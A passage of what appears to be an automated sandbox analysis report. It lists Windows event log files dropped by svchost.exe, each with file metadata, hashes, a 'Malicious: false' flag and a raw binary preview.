SSDEEP:	384:q2hjhqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqj:qsbCyhLfIIbqbCyhLfIIbl
MD5:	192A58419A8B1111BFC94BCC037F4E2A
SHA1:	E94051714D659412671C022475748881EA4B5F85
SHA-256:	55A1DC4C256A6D2E0D01D4A65398839C8BD74C7D967F23061B2DF49A8FD07358
SHA-512:	16949970D7DAB1AAA3CAAB207696309388EAE2BFC57F35855A8089D1721457E39EA6B1D99EBF6D5F5A04F7C22401CBDE8804A0324217F833078A8A2B75A04793
Malicious:	false
Preview:	ElfChnk.........K...............K...........H...0............................................................................;..................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n................................................{......................................**......K.........m.PN.........Z...{..............................................................<.......T.....!...................m.PN..0.U.f.....U.f...........K....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.r.y.p.t.o.-.D.P.A.P.I.@.....NF.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.r.y.p.t.o.-.D.P.A.P.I./.O.p.e.r.a.t.i.o.n.a.l....0.............`....GR...N..?....NC.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.i.c.r.o.s.o.f.t.\.P.r.o.t.e.c.t.\.S.-.1.-.5.-.1.8.\..............

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	113176
Entropy (8bit):	3.742611562476744
Encrypted:	false
SSDEEP:	768:5cMhFBuyKskZljdoKXjtT/r18rQXn8BiJCF9HhrwcMhFBuyKskZljdoKXjtT/r1H:CMhFBuVoMhFBuVZ
MD5:	0D7BB6AB1D197EEA76CB0C854E685B2B
SHA1:	4EEC0DBE094F43F0896C2DA462DB7865362C6B14
SHA-256:	C2D9C106AF23892D9BDDC1373E796D1E2DE8B8BE689454FCC5E976E966B4A57C
SHA-512:	11F5D34D1A6783D5295248CFD2F6B21B4A28895CDC6EBC4FDCE77D03350D156CB4DAC6ACCC5F7D445C231A1C94D3804A785458C8CC9AEDB49E9D36ECB949141C
Malicious:	false
Preview:	ElfChnk.........M...............M..............8...^..Q....................................................................q...................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A.........................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.894450290243595
Encrypted:	false
SSDEEP:	768:EpgjQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZavAFDtCwvhr9Yfr:6HuJ
MD5:	F57C7ECE707AC802D43AD44BB82544B4
SHA1:	3CF81EAFDA5B23B1F22F59467877D0B4BE950E00
SHA-256:	196CEB0EED008598447795DB2E7068EE73DE2FBEE0739F24DDE78C69FE3CD4F7
SHA-512:	3466151643EB3AFD4A51785E379B5319F3ED0B283C81A4EE913AA21A6AB5D2B469A7F95467EF3AA2FD7DCC777CD9B24C3E9C1B5659DDA94D834033E682D1C350
Malicious:	false
Preview:	ElfChnk.v.......x.......v.......x...........P...`............................................................................p6........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..@...v.......S?;.f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 25, DIRTY
Category:	dropped
Size (bytes):	92008
Entropy (8bit):	2.682215662038313
Encrypted:	false
SSDEEP:	384:g3h1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzB:yMAP1Qa5AgfQQzy4MAP1Qa5AgfQQzy
MD5:	CEE49B81AB0DB9CDAFF3101A6C3CA6F3
SHA1:	68BF544E0ADB9E20CC198783C921FF51037CED72
SHA-256:	C5B208F8AC6C6736B4CCF05F28ED62EF96282FAF263005D428F62BE49F8ACC27
SHA-512:	C11FD4D3E9787982DE7A9D17050A40125AD6D9CAFC655B9B4EC305FD767354D6F48E66E093B52A7E750359CC08FD8D3C557962FC92A23AA2D62D6FA249B75679
Malicious:	false
Preview:	ElfFile........................................................................................................................WElfChnk......................................c...f..W.s.......................................................................................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........................................&.......\......;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.441017411582523
Encrypted:	false
SSDEEP:	384:BhdERE5EUELEvE/EpEbEmEfEjoPjE4FEqEZEVEiEUhqEd/2EME0EHE+EIy4qEQi0:BQoPjvh7jhHl7lzuzbCN7y+D
MD5:	8D30244BF7119CFA2F8A7A5AF8FCDAB7
SHA1:	F0827675265E0DF98A4967D8A539D476551DCAA6
SHA-256:	489E810931FD45E6D7620FE65EBF1F1A66235B06E572C2C293BD080EE1C8E1ED
SHA-512:	C71504A8F8D370825FC0C8C605B9F7217EFF2025838ED8FDF3F04CCC41E86751659BB60C7E79C48BBDDC1089C771DD16A193C107DDE4A1487F037BB2FC1455B8
Malicious:	false
Preview:	ElfChnk.q...............q....................i..Pk..buI......................................................................o._................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F........................................7...(..................};...........?..M=.......9..............U..&....$..........."..............=1......*......q........\|.xf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.2803522685445374
Encrypted:	false
SSDEEP:	384:RhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3Kl0:R1T4hZovIZC7
MD5:	4A70DB2946C129829BEDDB2E147FBE04
SHA1:	4D3255FABE0E857840591072D9370047FDDFB83A
SHA-256:	C10981A84E3884E62907E34159FB7AA2D1F908C3E328D8D8B942B9934DFDE09C
SHA-512:	7FDBE43D4773CBC17A3879CBC012F8C9FC823529DDF6FE5E10C623B2D7AA89159132F10FE01C0632B6F8F92A0C474C67EF1D5DA4DC2EDC3CA5499D6220922AA4
Malicious:	false
Preview:	ElfChnk.........k...............k...........................................................................................<../................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.445920452673848
Encrypted:	false
SSDEEP:	384:ihFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjDff:izSKEqsMuy6SbKrTPpOIKm
MD5:	21B26F726BBEBA7FD5C4C45386FC544F
SHA1:	F6CC3E80D2AD9D2F420C42D7DA3AA3C48C9D956A
SHA-256:	63E1A62EA280BF1B031E1C98FBF21FF88795119983E5BC96C036B8EEF30D325D
SHA-512:	A28CB789E4967DB231359AFE7D221C55A57FB56EF899997EBAA0F79EBD92D34547530A64B4B5492400ABFC81631E5ED792D47B836525E5E1583BA6F656062DD5
Malicious:	false
Preview:	ElfChnk.........L...............L......................f....................................................................s.J.................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=........................................f......................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1562721664799103
Encrypted:	false
SSDEEP:	384:BhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3z2:Bmw9g3LQ
MD5:	B2C3D7448B237C268D23FE1A78777AA5
SHA1:	6C3A39325392F2B088C00CDC1763268F15832447
SHA-256:	05BC150DCBE6B62CE7D2A9CB8F706130DF70BABC54752199B02B4C91ACEE1C4E
SHA-512:	F9286BC0FC6DB6C52295C0292E2BF732C010F2D542999085F999501AC555C317FB1AFED9A2FF2DF6D91913373D0A32D2307C707381419883F5605F1D67DEE70E
Malicious:	false
Preview:	ElfChnk.........6...............6...........(o...p....Zo....................................................................ZU.#................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#.......................................^^......................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9195298486885948
Encrypted:	false
SSDEEP:	384:3hPIRbiY8SIUIi0IsIGIAICI5I2IBIaIKI+I3lKaZrIVlKaZOITTIwI:3LQ9KC8KCV
MD5:	D4A00CC59E964B7DFD6EFDB643322E9E
SHA1:	7307AF862B22D743BF6B531829DABE041E9F1F92
SHA-256:	49414D51861772E0899416FE42628F8641622E9F793F435DE7F0118F45EDE065
SHA-512:	51663BF2E9D8F1FA3BA6B87918CD36A02AFC2F53FF89F3ED104A4B4129682F0947DC825912A81844E2D25083E7249CE7C1EE8F899D847F511AB20B0404B22F27
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86..........................................................................E.U.................&.......................N...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..x...K.......1..f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 2 chunks (no. 1 in use), next record no. 128, DIRTY
Category:	dropped
Size (bytes):	69080
Entropy (8bit):	0.5730314040344844
Encrypted:	false
SSDEEP:	96:43VNVaO8ioBOPKzUmOPZXAOPoQVNVaO8ioBOPKzUmOPZXAOPo:43fV7cOP4XOPWOPzfV7cOP4XOPWOP
MD5:	F0C6298FAC645EFCA1A244C555A4969E
SHA1:	AE6ADF0928422749C2AB9C541B7F60A08DC79070
SHA-256:	F56C618912B59C1DFEFBBC3209A98A2977905C2FA3193AFE2DA191171CF0F684
SHA-512:	82FD4BFBDF355E2E0A4A59ECD01832BCDC9C93BFA24A0F6DE23B2E86F057C07AED91298C52D28E87394EE065E39A954BCB7C2F2F87766733E864DC7F857C9775
Malicious:	false
Preview:	ElfFile.........................................................................................................................ElfChnk.~...............~...................`...X...K../....................................................................`...................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..p...~.........Jf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 14 chunks (no. 13 in use), next record no. 418, DIRTY
Category:	dropped
Size (bytes):	33640
Entropy (8bit):	5.68383804089823
Encrypted:	false
SSDEEP:	384:fPhKa5SzuzNz0zxzuewKWMKFza5rta5ya5e69a5nla5f2KnzyzIzka50bNa5Pa5T:XfSik7DQGAdNC
MD5:	06EC64C68B4A523C812A6A96DF001625
SHA1:	D9329950DFAAB1D084D2FB7CD02F26EBAD82F936
SHA-256:	6D19DC73F87323FB08C91D6810A4F9954E70898EE87666F108F010CA4CF247C6
SHA-512:	05895C55059DA616918AB4813143F0524F4ADC3FA01A10C70E05F3BFF46F27C82AD87BCE6EB175F371A3A76D035A1BC165635F994FF543C59231A214327568A5
Malicious:	false
Preview:	ElfFile......................................................................................................................?I.ElfChnk.............................................(e........................................................................h........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................V...........................1...{!......**...............O..e.............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.119748237037944
Encrypted:	false
SSDEEP:	384:Sh1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMpRaMRlM7kMGU:SeJB
MD5:	D1CFC256BC075DC75D7FD92207C9C0F2
SHA1:	587C19CF65305AD470E82AB5A1ED5B2E36472625
SHA-256:	6C0365C674BCE55E0C49A62D23782660D34ECB388A8A7418AD9A75DFD36E612E
SHA-512:	85F88C26274975D8EB8DDC65297064427A103B557712BD46F459B8E26A1B7E38DA3B4674920FA61476D108BA3B9846430F59AA82926AFEBDCE92B25A527331A3
Malicious:	false
Preview:	ElfChnk......................................1..p3..\q........................................................................_U........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................................................................,......................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.182756017330751
Encrypted:	false
SSDEEP:	384:9hk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS1B:9BjdjP0csdHkp
MD5:	9BA8F6B60705B6A27084436D1D4370AD
SHA1:	DCAFEC9C3F76CCE3FF65F8FED6E373B863780B6E
SHA-256:	580E71D95D6201104E37944E8A0A6596869D6C8A0CA2CD3B704FEFC9D319C957
SHA-512:	BFBAEA71174AEE5233857BFDB4427C59D945A3797EA6F5D02708807321E0ADD12ED632BAA3C5E59141CFEF108FADE90315AB670BB960A281D0E95DB18C4976A4
Malicious:	false
Preview:	ElfChnk.....................................8.......I#.e......................................................................hB................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	77968
Entropy (8bit):	3.339514668703203
Encrypted:	false
SSDEEP:	384:fWIjyeIXIpIBIsIEI2I5gI8bIqz1IkvIoIZIqIxIzIYI6IrIBI2I43hDIEQAGxIt:fJd3ZxGe6dX
MD5:	F07A7699E03D5B71B9F19F3E22C99FEE
SHA1:	7701FBB0623B2F1C85EF9F1A43FD121F2EEF6A63
SHA-256:	99D6740A4674C1C185022B2E8B29EC2D83AF0DA4A8A2275CA0A3960C64BD72C8
SHA-512:	DDA391BB346F356DF4623BCB3B3C2F16FDAB6F6BD53720C0C1F8387B158F2A6347B7048AB486B109F09AC354F44D5E3CAEA103003F5898AFFD8A3C7E682E38CE
Malicious:	false
Preview:	ElfChnk.T...............T...................x...h.....)......................................................................>..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................1............................V...........6..........................**......x........m0.PN.........Z...V..............................................................,.......D.....!........... ....@.m0.PN..0.U.f....2U.f...........x....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l...........&.......6p.\.#i....>..........2........A..=...>.../....=.......V.o.l.u.m.e.C.o.r.r.e.l.a.t.i.o.n.I.d.......A..7...>...)....=.......V.o.l.u.m.e.N.a.m.e.L.e.n.g.t.h....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.800476718060657
Encrypted:	false
SSDEEP:	384:7h6iIvcImIvITIQIoIoI3IEIMIoIBIzI9IwWInIE1IFtI:7oxqV
MD5:	F25E3A5940E51F9A49AC271DE377E2C1
SHA1:	38EB4D0BCB8EA4C72C03AD88CF9B7136C39BCDC5
SHA-256:	D2B29761907A72BE3EC03C586D87729FF91EE3D9A6CF39319FD90A1977602663
SHA-512:	CADA8EFD9868D26AA1B4DBC5A5BDD31E624547E5755ED7B413EA74D69AB731B000BB2B8FCBDD3027FDA278A7D69058DF4BE3BAEE5AB253055C70EDE7D3AA9993
Malicious:	false
Preview:	ElfChnk.....................................X"...#.../......................................................................V)..............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.999140584854273
Encrypted:	false
SSDEEP:	768:q4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH135:o
MD5:	5234109523F4243D8DFEEAFD9202BC60
SHA1:	49A4B237FB8BEE3A2BDAA0C20A579E06D2645F65
SHA-256:	D4CE68FD0E970CC24971E8258B962534A3BF7CB1F1E6209AA0BB1D09F4FB80E6
SHA-512:	C2CC9A4E7282BF37C4113FADBA4F7FDD1D2094B8F40FE145C58A5ABEE4A90BCD55FBD8876415BD9140EBEE36314D02FEE5525076B539BB5AA01FB1D32058B426
Malicious:	false
Preview:	ElfChnk.....................................(...8...\|.........................................................................6................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ......................................................................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	77496
Entropy (8bit):	4.034465034834504
Encrypted:	false
SSDEEP:	768:Kexow407SZRcZv76NcRkpHrWbGyYKQc90XkztputDBjV8k+u3eUtHpoVWWPjRKv3:1ztputDBjV8k+u3PtHpoVWF
MD5:	3F10D5677FB39CF11045012BF6A398A1
SHA1:	EB0F1747BB64C2A109A0C7CC70B421DAD0C8C6A3
SHA-256:	3AB79F9431F00F6EAFB5532E4DD44890620BB258AD36E067BA8C70733698FF2D
SHA-512:	7CE98C74B22D1B99EDC9ADEB064A219477ECA0CEBCBB217EBBA46971E739511CFAACDA0D56533AC04C6394249B31FB0C1FD153E54D488AD129CF216701B334C1
Malicious:	false
Preview:	ElfChnk.................J.......O...............x..............................................................................................."...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..P...J.........$.QN.........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68240
Entropy (8bit):	4.405400501741596
Encrypted:	false
SSDEEP:	768:CYY1RFYY1RLpCnz/Gh4wRub4r2ag+LpSMI4ZStDCJ:CYYnFYYnLpqGhsi2pMnI4z
MD5:	BA877BFABDB61D4D3A3E1C95DA76A3A7
SHA1:	1F678EDFAB84317DCB7716C7CD8C1B2CF7DB5DD7
SHA-256:	63BC91B902FFAD108344B46FF468CA20BD140EDB91548BB5AF04068A6AB71348
SHA-512:	A5717B471836EF5C8CC975223E0C4DACAF139BB2FDD400610B4EE08BB345B6A99FDF98D0DC9D328DBE4CAEB4D28A95F0F586158B0AF2BE2DB3B302829D9608B0
Malicious:	false
Preview:	ElfChnk._......._......._......._...................e~.[....................................................................x.."................p...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&...................I...................**......_...........PN.........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.760021633915647
Encrypted:	false
SSDEEP:	384:4hP8o8Z85848V8M8g8D8R8E8C888FB8J8a8:4R
MD5:	91415CB1A68CB19DCDB017402AAEB51E
SHA1:	EEEB808B9D0DFB3DB247AA10B64290A5029EAB89
SHA-256:	EDEE7AB462BF2D986393D24304BDEF02415A6E0483DE793BD452E169B7D08170
SHA-512:	C2F5AF43559DCE7BB66ABE305DF2DCFF0C95E2CF431D8DD0B6A02E216C8F4329C3B888BF2BF378918851A3066976FCEE745593B60970E5B9843535E6301E5BA0
Malicious:	false
Preview:	ElfChnk.........................................8!..$.0v....................................................................>...........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7640902535465997
Encrypted:	false
SSDEEP:	1536:/XhZUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:/XvnS
MD5:	D9B1E760925AFD6E03034D3295E2691F
SHA1:	555CB7D82251B7D07B43B1D874429C60898E0A86
